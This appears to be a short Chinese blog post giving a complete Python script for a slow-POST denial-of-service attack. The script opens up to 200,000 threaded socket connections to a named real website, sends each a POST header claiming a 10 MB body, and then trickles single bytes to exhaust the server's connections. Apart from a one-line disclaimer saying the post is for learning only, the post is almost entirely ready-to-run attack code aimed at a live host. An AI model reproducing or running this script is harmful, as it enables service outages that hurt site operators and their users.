赞
踩
构建多个socket链接后,每个socket对这个网站无限的发送信息,以起到占用他们网站资源链接的效果。
环境:
python3.7
代码:
- import socket
- import time
- import threading
-
- MAX_CONN = 200000 # 最大连接数
- PORT = 80
- HOST = "mooc.jikestar.com" # 目标IP或域名.
- PAGE = "/#/classlist" # 目标页面
-
- buf = ("POST %s HTTP/1.1\r\n"
- "Host: %s\r\n"
- "Content-Length: 10000000\r\n" # 实体数据大小
- "Cookie: dklkt_dos_test\r\n"
- "\r\n" % (PAGE, HOST))
-
- socks = []
-
- def conn_thread():
- global socks
- for i in range(0, MAX_CONN): # MAX_CONN允许最大连接数
- # AF_INET 表示 IPv4 地址,创建 TCP套接字,必须使用 SOCK_STREAM 作为套接字类型
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s.connect((HOST, PORT))
- s.send(buf.encode())
- print("[+] 成功发送buf!,conn=%d\n" % i)
- socks.append(s)
- except Exception as ex:
- print("[-] 无法连接服务器或发送错误:%s" % ex)
- # 暂停1秒
-
- def send_thread():
- global socks
- while True:
- for s in socks:
- try:
- s.send("f".encode())
- except Exception as ex:
- print("[-] 发送异常:%s\n" % ex)
- socks.remove(s)
- s.close()
- time.sleep(1)
-
-
- # 建立多线程
- conn_th = threading.Thread(target=conn_thread, args=())
- send_th = threading.Thread(target=send_thread, args=())
- # 开启线程
- conn_th.start()
- send_th.start()
-
- conn_th2 = threading.Thread(target=conn_thread, args=())
- send_th2 = threading.Thread(target=send_thread, args=())
- conn_th2.start()
文章仅供学习,攻击他人服务器出现的一切后果请自行负责。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。